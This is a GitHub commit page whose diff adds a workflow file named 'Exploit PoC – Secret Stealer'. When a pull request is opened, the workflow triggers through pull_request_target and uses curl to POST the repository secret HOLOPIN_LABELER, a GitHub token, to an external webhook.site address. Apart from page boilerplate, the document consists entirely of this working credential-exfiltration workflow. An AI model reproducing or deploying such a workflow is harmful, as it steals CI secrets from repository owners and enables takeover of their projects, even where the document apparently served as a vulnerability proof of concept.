We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 5ba3f51 commit 5fcc39aCopy full SHA for 5fcc39a
.github/workflows/poc.yml
@@ -0,0 +1,18 @@
1
+# .github/workflows/poc.yml
2
+name: Exploit PoC – Secret Stealer
3
+
4
+on:
5
+ pull_request_target:
6
+ types: [opened]
7
8
+jobs:
9
+ steal_secret:
10
+ name: Steal GitHub PAT
11
+ runs-on: ubuntu-latest
12
+ steps:
13
+ - name: Exfiltrate HOLOPIN_LABELER Secret
14
+ run: |
15
+ curl -X POST \
16
+ -H "Content-Type: application/x-www-form-urlencoded" \
17
+ -d "token=${{ secrets.HOLOPIN_LABELER }}" \
18
+ https://webhook.site/e4056cbe-33ad-4c73-a3f2-48b7b388a4f1
0 commit comments